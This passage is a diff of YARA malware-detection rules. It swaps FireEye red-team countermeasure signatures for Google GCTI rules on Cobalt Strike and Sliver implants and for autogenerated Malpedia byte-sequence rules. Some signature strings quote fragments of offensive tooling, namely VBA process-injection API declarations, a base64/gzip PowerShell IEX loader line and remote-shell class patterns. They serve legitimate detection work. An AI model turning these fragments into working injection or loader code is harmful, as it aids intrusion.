-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_4.yar#L5-L16"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "f59095f0ab15f26a1ead7eed8cdb4902"
-		logic_hash = "ec201614cb91fae9d7c89febfa22dfd6ba7f353e0eeb0b2fec6c8d887992e79e"
+		description = "Cobalt Strike's resources/template.x86.vba signature for versions v3.8 to v4.x"
+		author = "gssincla@google.com"
+		id = "11c7758e-93b2-5fe3-873d-b98de579d2b4"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_x86_Vba_v3_8_to_v4_x.yara#L17-L37"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "fc66cb120e7bc9209882620f5df7fdf45394c44ca71701a8662210cf3a40e142"
+		logic_hash = "7114515477d82651806eccef34f599f6ffd4614f987dee29417ac6ef7a1a1c38"
 		score = 75
-		quality = 25
-		tags = "FILE"
-		rev = 8
+		quality = 85
+		tags = ""
 
 	strings:
-		$mz = "MZ"
+		$createstuff = "Function CreateStuff Lib \"kernel32\" Alias \"CreateRemoteThread\"" nocase
+		$allocstuff = "Function AllocStuff Lib \"kernel32\" Alias \"VirtualAllocEx\"" nocase
+		$writestuff = "Function WriteStuff Lib \"kernel32\" Alias \"WriteProcessMemory\"" nocase
+		$runstuff = "Function RunStuff Lib \"kernel32\" Alias \"CreateProcessA\"" nocase
+		$vars = "Dim rwxpage As Long" nocase
+		$res = "RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)"
+		$rwxpage = "AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)"
 
 	condition:
-		$mz at 0 and uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <10MB and pe.exports("MemoryCallEntryPoint") and pe.exports("MemoryDefaultAlloc") and pe.exports("MemoryDefaultFree") and pe.exports("MemoryDefaultFreeLibrary") and pe.exports("MemoryDefaultGetProcAddress") and pe.exports("MemoryDefaultLoadLibrary") and pe.exports("MemoryFindResource") and pe.exports("MemoryFindResourceEx") and pe.exports("MemoryFreeLibrary") and pe.exports("MemoryGetProcAddress") and pe.exports("MemoryLoadLibrary") and pe.exports("MemoryLoadLibraryEx") and pe.exports("MemoryLoadResource") and pe.exports("MemoryLoadString") and pe.exports("MemoryLoadStringEx") and pe.exports("MemorySizeofResource") and pe.exports("callback") and pe.exports("crosscall2") and pe.exports("crosscall_386")
+		all of them and @vars[1]<@res[1] and @allocstuff[1]<@rwxpage[1]
 }
-rule FIREEYE_RT_APT_Backdoor_Win_GORAT_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Command_Ps1_V2_5_To_V3_7_And_Resources_Compress_Ps1_V3_8_To_V4_X
 {
 	meta:
-		description = "This detects if a sample is less than 50KB and has a number of strings found in the Gorat shellcode (stage0 loader). The loader contains an embedded DLL (stage0.dll) that contains a number of unique strings. The 'Cookie' string found in this loader is important as this cookie is needed by the C2 server to download the Gorat implant (stage1 payload)."
-		author = "FireEye"
-		id = "5ac84cf1-49fb-533d-b211-b1a92239063b"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_1.yar#L4-L23"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "66cdaa156e4d372cfa3dea0137850d20"
-		logic_hash = "f6a0a923f64375e7ffdc080aec41db19a9e162405f1290ed0bbcce5a342bdadb"
+		description = "Cobalt Strike's resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x"
+		author = "gssincla@google.com"
+		id = "c0b81deb-ed20-5f7e-8e15-e6a9e9362594"
+		date = "2022-11-18"
+		modified = "2022-11-22"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x.yara#L17-L33"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62"
+		logic_hash = "31cf47060757b086d325cd205724a7be8931bbbc6ff2f4be67a6179ee99c42ca"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 4
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "httpComms.dll" ascii wide
-		$s2 = "Cookie: SID1=%s" ascii wide
-		$s3 = "Global\\" ascii wide
-		$s4 = "stage0.dll" ascii wide
-		$s5 = "runCommand" ascii wide
-		$s6 = "getData" ascii wide
-		$s7 = "initialize" ascii wide
-		$s8 = "Windows NT %d.%d;" ascii wide
-		$s9 = "!This program cannot be run in DOS mode." ascii wide
+		$ps1 = "$s=New-Object \x49O.MemoryStream(,[Convert]::\x46romBase64String(" nocase
+		$ps2 = "));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();" nocase
 
 	condition:
-		filesize <50KB and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Backdoor_Win_GORAT_3 : FILE
+rule GCTI_Sliver_Implant_64Bit
 {
 	meta:
-		description = "This rule uses the same logic as FE_APT_Trojan_Win_GORAT_1_FEBeta with the addition of one check, to look for strings that are known to be in the Gorat implant when a certain cleaning script is not run against it."
-		author = "FireEye"
-		id = "94c195b5-b8e8-56a7-bc11-dbbe2f969b06"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_3.yar#L4-L39"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "995120b35db9d2f36d7d0ae0bfc9c10d"
-		logic_hash = "592745e9c67f7adf0cd48975ed1497211d8efeff29b52be1e2d082b9a648bb57"
+		description = "Sliver 64-bit implant (with and without --debug flag at compile)"
+		author = "gssincla@google.com"
+		id = "b84db933-0e11-5871-821d-43697c015665"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/Sliver/Sliver__Implant_64bit.yara#L17-L84"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "2d1c9de42942a16c88a042f307f0ace215cdc67241432e1152080870fe95ea87"
+		logic_hash = "ad4ceef08a732174c8ccbcacf0370b26acb9e5ec0784d8827c8104618e018a26"
 		score = 75
-		quality = 28
-		tags = "FILE"
-		rev = 5
+		quality = 85
+		tags = ""
 
 	strings:
-		$dirty1 = "fireeye" ascii nocase wide
-		$dirty2 = "kulinacs" ascii nocase wide
-		$dirty3 = "RedFlare" ascii nocase wide
-		$dirty4 = "gorat" ascii nocase wide
-		$dirty5 = "flare" ascii nocase wide
-		$go1 = "go.buildid" ascii wide
-		$go2 = "Go build ID:" ascii wide
-		$json1 = "json:\"pid\"" ascii wide
-		$json2 = "json:\"key\"" ascii wide
-		$json3 = "json:\"agent_time\"" ascii wide
-		$json4 = "json:\"rid\"" ascii wide
-		$json5 = "json:\"ports\"" ascii wide
-		$json6 = "json:\"agent_platform\"" ascii wide
-		$rat = "rat" ascii wide
-		$str1 = "handleCommand" ascii wide
-		$str2 = "sendBeacon" ascii wide
-		$str3 = "rat.AgentVersion" ascii wide
-		$str4 = "rat.Core" ascii wide
-		$str5 = "rat/log" ascii wide
-		$str6 = "rat/comms" ascii wide
-		$str7 = "rat/modules" ascii wide
-		$str8 = "murica" ascii wide
-		$str9 = "master secret" ascii wide
-		$str10 = "TaskID" ascii wide
-		$str11 = "rat.New" ascii wide
+		$s_tcppivot = { 48 ?? 74 63 70 70 69 76 6F 74 }
+		$s_namedpipe = { 48 ?? 6E 61 6D 65 64 70 69 70 [2-32] 80 ?? 08 65 }
+		$s_https = { 81 ?? 68 74 74 70 [2-32] 80 ?? 04 73 }
+		$s_wg = {66 81 ?? 77 67}
+		$s_dns = { 66 81 ?? 64 6E [2-20] 80 ?? 02 73 }
+		$s_mtls = {  81 ?? 6D 74 6C 73  }
+		$fp1 = "cloudfoundry" ascii fullword
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <10MB and all of ($go*) and all of ($json*) and all of ($str*) and #rat>1000 and any of ($dirty*)
+		5 of ($s*) and not 1 of ($fp*)
 }
-import "pe"
-
-rule FIREEYE_RT_APT_Backdoor_PS1_BASICPIPESHELL_1
+rule GCTI_Sliver_Implant_32Bit
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "8f85d6cc-fd1e-5bf3-8052-440cbeda0ac9"
-		date = "2020-12-18"
-		modified = "2020-12-18"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BASICPIPESHELL/production/yara/APT_Backdoor_PS1_BASICPIPESHELL_1.yar#L5-L18"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		logic_hash = "7a9f0002055ffe826562cab3d02d8babd14c5fcd6d0b528a2988e2649034279d"
-		score = 75
-		quality = 63
+		description = "Sliver 32-bit implant (with and without --debug flag at compile)"
+		author = "gssincla@google.com"
+		id = "6bc4d7d1-64cf-5920-8f07-54a8a7a94f26"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/Sliver/Sliver__Implant_32bit.yara#L17-L81"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "911f4106350871ddb1396410d36f2d2eadac1166397e28a553b28678543a9357"
+		logic_hash = "5b394a198f691b6777438a69d20a423798525daa84a09a0ce346eca5bb66f850"
+		score = 60
+		quality = 35
 		tags = ""
 
 	strings:
-		$s1 = "function Invoke-Client()" ascii nocase wide
-		$s2 = "function Invoke-Server" ascii nocase wide
-		$s3 = "Read-Host 'Enter Command:'" ascii nocase wide
-		$s4 = "new-object System.IO.Pipes.NamedPipeClientStream(" ascii nocase wide
-		$s5 = "new-object System.IO.Pipes.NamedPipeServerStream(" ascii nocase wide
-		$s6 = " = iex $" ascii nocase wide
+		$s_tcppivot = { 81 ?? 74 63 70 70 [2-20] 81 ?? 04 69 76 6F 74  }
+		$s_wg = { 66 81 ?? 77 67 }
+		$s_dns = { 66 81 ?? 64 6E [2-20] 80 ?? 02 73 }
+		$s_http = { 81 ?? 68 74 74 70 }
+		$s_https = { 81 ?? 68 74 74 70 [2-20] 80 ?? 04 73 }
+		$s_mtls = { 81 ?? 6D 74 6C 73 }
+		$fp1 = "cloudfoundry" ascii fullword
 
 	condition:
-		all of them
+		4 of ($s*) and not 1 of ($fp*)
 }
-rule FIREEYE_RT_Hacktool_MSIL_Wmisharp_1 : FILE
+/*
+ * YARA Rule Set
+ * Repository Name: Malpedia
+ * Repository: https://github.com/malpedia/signator-rules/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: fbacfc09b84d53d410385e66a8e56f25016c588a
+ * Number of Rules: 1382
+ * Skipped: 0 (age), 15 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+rule MALPEDIA_Win_Soul_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMISharp' project."
-		author = "FireEye"
-		id = "97b9d057-30d3-5af7-bac6-4dd53f47650f"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISHARP/production/yara/HackTool_MSIL_WMISharp_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "d119d52c1410291d582696d5c4c1de3db9008db963c76a9e344959d869c3acc0"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "ea0bc590-52b0-5914-b399-85653bff4505"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soul"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.soul_auto.yar#L1-L234"
+		license_url = "N/A"
+		logic_hash = "192d2467d64d6ffcab9581013b65d7e42a7f1082991c14dd63a3ef2c42177610"
 		score = 75
 		quality = 73
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid0 = "3a2421d9-c1aa-4fff-ad76-7fcb48ed4bff" ascii nocase wide
+		$sequence_0 = { 83c404 33f6 897304 8b4304 }
+		$sequence_1 = { 897304 8b4304 5f 5e 5b }
+		$sequence_2 = { 40 803800 75f8 c745fc00000000 90 }
+		$sequence_3 = { 75f8 803e00 8bc6 7409 90 fe08 40 }
+		$sequence_4 = { d3e2 8515???????? 7405 e8???????? }
+		$sequence_5 = { 8b03 8b36 50 e8???????? 8bf8 }
+		$sequence_6 = { 5d c3 57 eb05 85f6 }
+		$sequence_7 = { ff25???????? ff25???????? ff25???????? ff25???????? 48895c2408 4889742410 57 }
+		$sequence_8 = { ff45fc 85f6 7506 837dfc04 7cda }
+		$sequence_9 = { c745fc00000000 8da42400000000 8b4df8 51 }
+		$sequence_10 = { e9???????? 8b531c c1e002 8bc8 }
+		$sequence_11 = { 6644896c2438 48837f1808 7319 4c8b4710 49ffc0 4d03c0 }
+		$sequence_12 = { 4983fc08 7208 498bcd e8???????? b801000000 488b8db0010000 4833cc }
+		$sequence_13 = { 7475 453bcc 7370 488b5330 4c8b5318 488b7338 }
+		$sequence_14 = { 48895c2420 ff16 85c0 0f85f7000000 488b442420 4885c0 0f84e4000000 }
+		$sequence_15 = { 4c8bac2470020000 4c8ba42478020000 488bb424a8020000 488b9c2498020000 488bac24a0020000 488b8c2460020000 4833cc }
+		$sequence_16 = { 8bc1 c1e805 478d541201 662bc8 }
+		$sequence_17 = { 0f8889000000 7e74 817d0063736de0 7528 48833d????????00 741e 488d0d49ad0000 }
+		$sequence_18 = { 3d06010000 7309 4585ff 0f84bd020000 85c0 0f8410040000 458bc5 }
+		$sequence_19 = { 4883c302 85c0 75ed 85d2 7416 4885ff }
+		$sequence_20 = { 488bcf ff15???????? 400fb6de 85c0 be00000000 0f44de 48837c247808 }
+		$sequence_21 = { 488d4de0 e8???????? 90 4c8d056e310200 488bd0 488d4db8 }
+		$sequence_22 = { 41d3ed 83ff20 7321 85f6 0f84d30c0000 410fb60424 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		7 of them and filesize <1400832
 }
-rule FIREEYE_RT_Hacktool_PY_Impacketobfuscation_1
+rule MALPEDIA_Win_Scanpos_Auto : FILE
 {
 	meta:
-		description = "smbexec"
-		author = "FireEye"
-		id = "992d1132-3136-5e1b-a1ef-dcdf36ebf0f5"
-		date = "2020-12-01"
-		date = "2020-12-01"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/IMPACKETOBF (Smbexec)/production/yara/HackTool_PY_ImpacketObfuscation_1.yar#L4-L22"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "0b1e512afe24c31531d6db6b47bac8ee"
-		logic_hash = "45a4c0426b29b8c8bede9c4e8292131da7e756d48fc3ac4a07d08fd52383d21e"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "8293fa8e-4228-517c-a26a-04301bca2110"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.scanpos_auto.yar#L1-L120"
+		license_url = "N/A"
+		logic_hash = "b005df89a44c0f26903a8ba8f3d418d77b4a13957700f79b1d7571fcff516771"
 		score = 75
 		quality = 75
-		tags = ""
-		rev = 1
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$s1 = "class CMDEXEC" nocase
-		$s2 = "class RemoteShell" nocase
-		$s3 = "self.services_names"
-		$s4 = "import random"
-		$s6 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]%CoMSpEC%[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase
-		$s7 = /self\.__serviceName[\x09\x20]{0,32}=[\x09\x20]{0,32}self\.services_names\[random\.randint\([\x09\x20]{0,32}0[\x09\x20]{0,32},[\x09\x20]{0,32}len\(self\.services_names\)[\x09\x20]{0,32}-[\x09\x20]{0,32}1\)\]/
+		$sequence_0 = { c645b800 e8???????? c645fc01 837de810 8b45d4 }
+		$sequence_1 = { c745d830124100 e8???????? 8b4508 8b4dec 8945e4 40 }
+		$sequence_2 = { 52 57 8bfe 8d75d4 e8???????? be10000000 c645fc00 }
+		$sequence_3 = { 80f939 0f8fd3010000 80f930 0f8cca010000 0fbec0 0fbec9 8d848010ffffff }
+		$sequence_4 = { 7f04 3bcb 7611 8945d8 }
+		$sequence_5 = { 8b4dac c745cc0f000000 c745c800000000 c645b800 e8???????? c645fc01 }
+		$sequence_6 = { 50 8d4d80 e8???????? 83c40c 57 }
+		$sequence_7 = { 84db 7507 6a01 e8???????? 8d8de8feffff }
+		$sequence_8 = { 57 8d8dcbfeffff 51 6804010000 }
+		$sequence_9 = { 2bc1 8bcf 03c3 83cfff 2bf8 3bf9 730a }
 
 	condition:
-		all of them
+		7 of them and filesize <229376
 }
-rule FIREEYE_RT_Loader_MSIL_Inmemorycompilation_1 : FILE
+rule MALPEDIA_Win_Cur1_Downloader_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'In-MemoryCompilation' project."
-		author = "FireEye"
-		id = "80234352-a449-5292-9f0c-beb7a1d39a6c"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MEMCOMP/production/yara/Loader_MSIL_InMemoryCompilation_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "a964a186eb02a2792db01727a31ddaa2414fe9df83cda9b1c9db15d94603303a"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "2c8bb8d3-c4a4-59f1-99cf-04925e102b6b"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cur1_downloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cur1_downloader_auto.yar#L1-L130"
+		license_url = "N/A"
+		logic_hash = "b5443d6c58a9050bf16869865e319c3a21a1ce3b38679342db8dce71a1fd94bc"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		rev = 2
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid0 = "524d2687-0042-4f93-b695-5579f3865205" ascii nocase wide
+		$sequence_0 = { e8???????? ebd1 488d542440 488b4c2470 e8???????? 8b442438 83c801 }
+		$sequence_1 = { 8b442440 ffc0 89442440 8b05???????? 39442440 0f83e4000000 8b442440 }
+		$sequence_2 = { c68424e70200006f c68424e80200006e c68424e902000057 c68424ea02000000 }
+		$sequence_3 = { 7578 48630d847affff 488d15417affff 4803ca 813950450000 755f b80b020000 }
+		$sequence_4 = { c68424b803000069 c68424b90300006e c68424ba03000067 c68424bb0300006c c68424bc03000065 c68424bd0300004f }
+		$sequence_5 = { c684248803000065 c684248903000049 c684248a0300006e c684248b03000066 c684248c0300006f c684248d03000072 c684248e0300006d }
+		$sequence_6 = { 48c744247000000000 41b918000000 4c8d8424a0000000 488b942488000000 488b8c2490000000 ff15???????? 85c0 }
+		$sequence_7 = { 4863442450 0fb78444d0000000 83f85c 750d 8b442450 898424a4000000 eb02 }
+		$sequence_8 = { 7d0c 4863442428 c644042400 ebe3 c744242800000000 eb0a 8b442428 }
+		$sequence_9 = { c644244933 c644244a37 c644244b62 c644244c34 c644244d37 c644244e39 c644244f32 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		7 of them and filesize <402432
 }
-rule FIREEYE_RT_Trojan_Win_Generic_101 : FILE
+rule MALPEDIA_Win_Wininetloader_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "0290aaea-d65b-5883-97f9-549d107e3e1f"
-		date = "2020-11-25"
-		date = "2020-11-25"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Trojan_Win_Generic_101.yar#L4-L20"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "2e67c62bd0307c04af469ee8dcb220f2"
-		logic_hash = "e530183f3cab01560b1abc91e2111e5d9e5aadc1c8134027ac07d8917f9419a0"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "1f5f1063-d131-51ec-8fa2-72e334bf0ad8"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wininetloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wininetloader_auto.yar#L1-L134"
+		license_url = "N/A"
+		logic_hash = "18fd24bb687ec61c125dfaa2108b7d0deaa39d2f9fd1538d0119b221d934fb42"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 3
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$s0 = { 2A [1-16] 17 [1-16] 02 04 00 00 [1-16] FF 15 }
-		$s1 = { 81 7? [1-3] 02 04 00 00 7? [1-3] 83 7? [1-3] 17 7? [1-3] 83 7? [1-3] 2A 7? }
-		$s2 = { FF 15 [4-16] FF D? [1-16] 3D [1-24] 89 [1-8] E8 [4-16] 89 [1-8] F3 A4 [1-24] E8 }
-		$si1 = "PeekMessageA" fullword
-		$si2 = "PostThreadMessageA" fullword
+		$sequence_0 = { 7510 0fb611 0fb6c2 80fa28 7423 80fa29 741e }
+		$sequence_1 = { 4c8bac2480000000 90 493bdf 74db 0fb633 498bcd 410fb61424 }
+		$sequence_2 = { 48897c2460 4d8bc5 488b542438 488bc8 e8???????? 4b8d042e 4889442458 }
+		$sequence_3 = { 90 488d5508 48837d2008 480f435508 488b4518 4c8d0c42 4c8d4508 }
+		$sequence_4 = { e8???????? 3a03 7516 488bcf e8???????? 4c8b45f8 488b4df0 }
+		$sequence_5 = { 4c8be0 4889442450 4885db 7427 488b03 488bcb 488b4010 }
+		$sequence_6 = { 4c894d08 33db 448bf3 895c2470 49395910 752b 488d15b6ea1100 }
+		$sequence_7 = { 3a8c2ab8a80e00 0f8585000000 488b03 48ffc2 8a08 48ffc0 488903 }
+		$sequence_8 = { 488d1d48970500 807e5704 7704 488b5e48 48ffc7 803c3b00 75f7 }
+		$sequence_9 = { eb21 48c74424200f000000 4c8d0d54fd0900 4533c0 418d500f 488d4c2430 e8???????? }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and @s0[1]<@s1[1] and @s1[1]<@s2[1] and all of them
+		7 of them and filesize <2659328
 }
-rule FIREEYE_RT_Loader_Win_Generic_17 : FILE
+rule MALPEDIA_Win_Badcall_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "4e5bf741-c1e3-54af-9580-02925ba6fc6a"
-		date = "2020-11-25"
-		date = "2020-11-25"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Loader_Win_Generic_17.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "562ecbba043552d59a0f23f61cea0983"
-		logic_hash = "5c20472c3af0c5b8c825671b12763900d6a711695ed04661b33cbf442422348d"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "f6c1d400-6aaf-5cd3-88ab-d61e25f09ca7"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badcall"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.badcall_auto.yar#L1-L157"
+		license_url = "N/A"
+		logic_hash = "789bf61f14e8f6f349ef8fa3798aaa8ef35e52eb6b6c01f584f1e407643e6f98"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		rev = 3
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
